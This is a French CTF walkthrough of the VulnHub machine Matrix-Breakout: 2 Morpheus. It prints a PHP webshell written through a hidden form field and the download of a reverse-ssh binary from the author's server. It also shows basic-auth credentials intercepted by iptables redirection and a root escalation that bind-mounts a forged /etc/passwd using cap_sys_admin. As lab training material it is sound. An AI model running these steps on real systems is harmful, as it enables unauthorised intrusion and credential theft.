Matrix-Breakout: 2 Morpheus est le nom donné par Jay Beale à un CTF posté sur VulnHub. La difficulté annoncée est moyenne / difficile.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Nmap scan report for 192.168.242.129
Host is up (0.00057s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|_ 256 aa83c351786170e5b7469f07c4ba31e4 (ECDSA)
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Morpheus:1
|_http-server-header: Apache/2.4.51 (Debian)
81/tcp open http nginx 1.18.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Meeting Place
|_http-title: 401 Authorization Required
|_http-server-header: nginx/1.18.0
À première vue une énumération web avec Feroxbuster ne donne rien d’intéressant :
1
2
3
4
301 9l 28w 323c http://192.168.242.129/javascript
301 9l 28w 330c http://192.168.242.129/javascript/jquery
403 9l 28w 280c http://192.168.242.129/server-status
200 10870l 44283w 287600c http://192.168.242.129/javascript/jquery/jquery
Le serveur web semble avoir du répondant alors j’en profite pour tester des fichiers avec une bonne liste d’extensions :
1
feroxbuster -u http://192.168.242.129/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-words.txt -x php,html,txt,zip,conf,sql,tar.gz,7z -n
Cette fois il en ressort deux entrées supplémentaires :
1
2
200 24l 56w 451c http://192.168.242.129/graffiti.php
200 4l 27w 139c http://192.168.242.129/graffiti.txt
On a déjà ce fichier texte :
Mouse here - welcome to the Nebby! Make sure not to tell Morpheus about this graffiti wall. It’s just here to let us blow off some steam.
Sur le script PHP on retrouve le même message avec un formulaire permettant de laisser un message. Si je rentre quelque chose, le texte apparait à la suite du précédent message et on le retrouve aussi dans le fichier graffiti.txt
.
J’aurais parié que le script fait un include()
du fichier texte. J’ai donc saisi <?php system($_GET["cmd"]); ?>
mais le code n’était pas interprété et se retrouvait dans le code HTML de la page.
Par contre, je me suis aperçu que le formulaire dispose d’un champ caché qui spécifie dans quel fichier écrire les données :
1
2
3
4
5
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
Par conséquent, on peut utiliser les outils de développement du navigateur pour modifier le nom du fichier et cette fois écrire notre shell dans un nouveau fichier PHP. J’obtiens alors mon webshell avec l’utilisateur www-data
.
Le serveur autorise la connexion sortante sur le port 80, j’utilise mon webshell pour télécharger un reverse-ssh depuis un serveur web python que j’ai lancé :
1
2
3
4
$ sudo python3 -m http.server 80
[sudo] Mot de passe de root :
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.242.129 - - [20/Nov/2022 09:16:17] "GET /reverse-sshx64 HTTP/1.1" 200 -
À la racine du serveur web je trouve une image .cypher-neo.png
mais elle ne recèle rien d’intéressant (analyse via exiftool
et ghex
).
Il y a deux utilisateurs présents sur le système. Aucun ne semble plus privilégié que l’autre :
1
2
uid=1000(trinity) gid=1000(trinity) groups=1000(trinity),1002(humans)
uid=1001(cypher) gid=1001(cypher) groups=1001(cypher),1002(humans)
La recherche des fichiers de cypher
retourne un flag :
1
2
3
www-data@morpheus:/var/www$ find / -user cypher 2> /dev/null
/home/cypher
/FLAG.txt
Voici le contenu :
Flag 1!
You’ve gotten onto the system. Now why has Cypher locked everyone out of it?
Can you find a way to get Cypher’s password? It seems like he gave it to
Agent Smith, so Smith could figure out where to meet him.Also, pull this image from the webserver on port 80 to get a flag.
/.cypher-neo.png
Le groupe humans
a deux entrées :
1
2
3
www-data@morpheus:/var/www$ find / -group humans -ls 2> /dev/null
35 5352 -rwxr-x--- 1 root humans 5479736 Oct 28 2021 /usr/bin/python3-9
134453 4 drwxrwxr-x 2 root humans 4096 Oct 28 2021 /crew
Ne faisant pas, à ce stade de mes explorations, membre du groupe humans
je ne peux pas lire le contenu de /usr/bin/python3-9
mais la taille est exactement la même que /usr/bin/python3.9
qui est le vrai interpréteur Python.
Le dossier crew
est quant à lui vide…
J’ai cherché les noms de fichiers contenants smith
ou cypher
mais ça n’a rien retourné puis en regardant les ports en écoute je me suis rappelé de la présence du port 81 dont l’accès est protégé par une demande d’authentification.
On trouve la configuration du Nginx dans /etc/nginx/sites-enabled/default
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
server {
listen 81 default_server;
listen [::]:81 default_server;
root /var/nginx/html;
auth_basic "Meeting Place";
auth_basic_user_file /var/nginx/html/.htpasswd;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to displaying a 404.
try_files $uri $uri/ =404;
}
}
J’ai accès au fichier htpasswd
qui contient le hash au format Apache (une variante de MD5) :
cypher:$apr1$e9o8Y7Om$5zgDW6WOO6Fl8rCC7jpvX0
J’ai aussi les droits suffisants pour lire les fichiers servis par Nginx comme la page d’index :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<html><head><title>Meeting Place</title></head><body>
<p>
<center>
<h2>Dinner to Discuss Zion</h2>
</center>
</p>
<p>
Agent Smith, if you want to break into Zion, meet me in 3 days at the steak house at the corner of Wabash and Lake.
<img src="ignorance-bliss.png">
</p>
<p>
"I know this steak doesn't exist. I know that when I put it in my mouth, the Matrix is telling my brain that it is juicy and delicious. After nine years, you know what I realize? Ignorance is bliss."
</p>
</body>
</html>
L’image mentionnée dans le code HTML montre juste Cypher
en train de manger son steak. L’image n’a pas de tags exif et ne semble pas contenir de chaines de caractères quelconques. J’ai balancé l’image sur quelques sites de stéganographie, voir si il y avait des données à récupérer via la méthode LSB mais ça n’a rien donné.
J’ai passé la wordlist rockyou sur le hash de cypher mais ç’a n’a rien donné : |
J’ai donc fouillé un peu avec LinPEAS et il a déjà remarqué que la copie du binaire Python a une capability :
1
2
www-data@morpheus:/tmp$ getcap /usr/bin/python3-9
/usr/bin/python3-9 cap_sys_admin=ep
Je devrais pouvoir passer root avec ce binaire, mais pour le moment je ne peux pas l’exécuter, il me faut au moins les permissions humans
.
À court d’idées, j’ai vu un port en écoute sur l’interface loopback et il s’agit d’un HTTP :
1
2
3
4
5
6
7
8
www-data@morpheus:/tmp$ nc 127.0.0.1 46449 -v
Connection to 127.0.0.1 46449 port [tcp/*] succeeded!
GET / HTTP/1.0
HTTP/1.0 404 Not Found
Date: Sun, 20 Nov 2022 10:09:18 GMT
Content-Length: 19
Content-Type: text/plain; charset=utf-8
J’ai donc bruteforcé les URLs mais je ne suis parvenu à rien.
En général dans ces conditions j’ai recours à pspy: Monitor linux processes without root permissions, un outil qui regarde en boucle la liste des process et permet de découvrir par exemple les taches exécutées depuis la crontab de root (que l’on ne peut pas lire directement en raison des permissions).
L’idée était la bonne :
1
2
3
4
5
6
7
8
9
10
11
2022/11/20 18:09:38 CMD: UID=0 PID=1 | /sbin/init
2022/11/20 18:09:59 CMD: UID=0 PID=28034 |
2022/11/20 18:09:59 CMD: UID=0 PID=28039 | sleep 60
2022/11/20 18:10:01 CMD: UID=0 PID=28040 | /usr/sbin/CRON -f
2022/11/20 18:10:59 CMD: UID=0 PID=28043 | /usr/bin/basic-auth-client
2022/11/20 18:10:59 CMD: UID=0 PID=28048 | sleep 60
2022/11/20 18:11:01 CMD: UID=0 PID=28049 | /usr/sbin/CRON -f
2022/11/20 18:11:01 CMD: UID=0 PID=28050 | /bin/sh -c chown -R root /crew
2022/11/20 18:11:59 CMD: UID=0 PID=28052 | /usr/bin/basic-auth-client
2022/11/20 18:11:59 CMD: UID=0 PID=28057 | sleep 60
2022/11/20 18:12:01 CMD: UID=0 PID=28058 | /usr/sbin/CRON -f
Je trouve trace du chown
dans un fichier de cron :
1
2
www-data@morpheus:/tmp$ cat /etc/cron.d/fix-ownership-on-crew
* * * * * root chown -R root /crew
Mais aucune trace de basic-auth-client
. Il en va de même pour un fichier /main.sh
vu dans la liste des processus, mais absent sur le système. Tout ça est certainement du à l’utilisateur de containeurs Docker.
Ce programme basic-auth-client
laisse penser qu’il se connecte sur le port 81 et qu’il simule en quelque sorte l’accès de l’Agent Smith
. Je ne peux pas lire le binaire ni lire le flux réseau… comment faire alors pour obtenir les identifiants qui transitent ?
Je me suis rappelé dans l’output de LinPEAS que j’avais des entrées inhabituelles :
1
2
3
4
5
6
7
8
9
10
11
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root 97K Jan 17 2021 /usr/sbin/xtables-legacy-multi (Unknown SUID binary)
--- snip ---
Files with capabilities (limited to 50):
/usr/bin/python3-9 cap_sys_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/sbin/xtables-legacy-multi cap_net_admin=ep
/usr/sbin/xtables-nft-multi cap_net_admin=ep
Les binaires xtables
sont des sortes de wrapper autour des commandes iptables. Celui qui est setuid root semble refuser de fonctionner :
1
2
3
$ /usr/sbin/xtables-legacy-multi iptables -L
iptables v1.8.7 (legacy): can't initialize iptables table `filter': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
L’autre qui a juste la capability cap_net_admin
(voir capabilities(7) - Linux manual page) fonctionne correctement :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ /usr/sbin/xtables-nft-multi iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy DROP)
target prot opt source destination
DOCKER-USER all -- anywhere anywhere
DOCKER-ISOLATION-STAGE-1 all -- anywhere anywhere
ACCEPT all -- anywhere anywhere ctstate RELATED,ESTABLISHED
DOCKER all -- anywhere anywhere
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
Chain DOCKER (1 references)
target prot opt source destination
Chain DOCKER-ISOLATION-STAGE-1 (1 references)
target prot opt source destination
DOCKER-ISOLATION-STAGE-2 all -- anywhere anywhere
RETURN all -- anywhere anywhere
Chain DOCKER-ISOLATION-STAGE-2 (1 references)
target prot opt source destination
DROP all -- anywhere anywhere
RETURN all -- anywhere anywhere
Chain DOCKER-USER (1 references)
target prot opt source destination
RETURN all -- anywhere anywhere
Mon objectif est donc d’utiliser iptables
pour forwarder les paquets à destination du port 81 vers un port que j’aurais mis en écoute sur la machine (8181, qui ne nécessite pas de droits root).
J’ai fouillé un peu sur Internet et utilisé les commandes suivantes :
1
2
$ /usr/sbin/xtables-nft-multi iptables -A FORWARD -p tcp -d 172.17.0.1 --dport 81 -j ACCEPT
$ /usr/sbin/xtables-nft-multi iptables -A PREROUTING -t nat -i docker0 -p tcp --dport 81 -j DNAT --to 172.17.0.1:8181
Je ne suis pas sûr que la première commande soit nécessaire ici mais la seconde se charge de faire la redirection pour l’interface réseau du Docker. Dans le doute j’ai aussi appliqué la redirection pour chaque couple interface - adresse IP locale.
Finalement ça a frappé à la porte :
1
2
3
4
5
6
7
8
www-data@morpheus:/var/www/html$ nc -l -p 8181 -v
nc: getnameinfo: Temporary failure in name resolution
nc: getnameinfo: Temporary failure in name resolution
GET / HTTP/1.1
Host: 172.17.0.1:81
User-Agent: Go-http-client/1.1
Authorization: Basic Y3lwaGVyOmNhY2hlLXByb3N5LXByb2NlZWRzLWNsdWUtZXhwaWF0ZS1hbW1vLXB1Z2lsaXN0
Accept-Encoding: gzip
Le base64 de l’auth basic se décode en :
cypher:cache-prosy-proceeds-clue-expiate-ammo-pugilist
C’est clair que rockyou n’aurait pas cassé ça ! Le mot de passe permet de se connecter avec le compte cypher
et du coup d’être enfin membre du groupe humans
(youpi) !
Un flag est dans le dossier de l’utilisateur :
1
2
3
4
cypher@morpheus:~$ cat FLAG.txt
You've clearly gained access as user Cypher.
Can you find a way to get to root?
Je pensais que la capability cap_sys_admin
sur /usr/bin/python3-9
me permettrait de faire un setuid 0 et d’obtenir un shell, mais d’après la manpage, ce qui ressort c’est surtout la possibilité de pouvoir monter / démonter des systèmes de fichier.
J’ai trouvé ce post StackOverflow : unix - How do I mount a filesystem using Python? Il indique comment monter un FS en Python.
Mon idée était de créer un FS dans un fichier (dd
pour créer un fichier vide de 10Mo, mkfs.ext3
pour le formater) et de placer ensuite un shell setuid root dedans. Plus qu’à copier ensuite le fichier sur la VM et le monter pour obtenir le sésame, sauf que…
OSError: [Errno 15] Error mounting file.fs (ext3) on /mnt with options 'rw': Block device required
La fonction de la libc s’attend à recevoir un périphérique et non un fichier…
Du coup je me suis rabattu sur l’astuce de Linux Capabilities - HackTricks qui consiste à binder un fichier passwd
par dessus le vrai /etc/passwd
pour se connecter avec l’utilisateur root
et un mot de passe de notre choix :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cypher@morpheus:~$ cp /etc/passwd .
cypher@morpheus:~$ openssl passwd -1 -salt abc devloop
$1$abc$I96LD.QLSgd3iCCrM7yNv1
cypher@morpheus:~$ vi passwd # modifier l'entrée root pour remplacer 'x' par le hash
cypher@morpheus:~$ /usr/bin/python3-9
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from ctypes import *
>>> libc = CDLL("libc.so.6")
>>> libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
>>> MS_BIND = 4096
>>> source = b"/home/cypher/passwd"
>>> target = b"/etc/passwd"
>>> filesystemtype = b"none"
>>> options = b"rw"
>>> mountflags = MS_BIND
>>> libc.mount(source, target, filesystemtype, mountflags, options)
0
>>>
cypher@morpheus:~$ su root
Password:
root@morpheus:/home/cypher# cd /root
root@morpheus:~# ls
FLAG.txt
root@morpheus:~# cat FLAG.txt
You've won!
Let's hope Matrix: Resurrections rocks!
La requête d’authentification qu’on a redirigée était bien effectuée depuis un docker :
1
2
3
4
5
6
7
8
9
10
11
12
13
root@morpheus:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c08573ce98d3 infinite-request "/main.sh" 12 months ago Up 23 hours infinite-request
root@morpheus:~# docker exec -it c08573ce98d3 /bin/bash
root@c08573ce98d3:/# cat main.sh
#!/bin/bash
while :
do
/usr/bin/basic-auth-client
sleep 60
done
On ne dispose pas du code source pour le binaire, mais on sait ce qu’il fait :)
Un CTF très intéressant, merci à son auteur !
Publié le 20 novembre 2022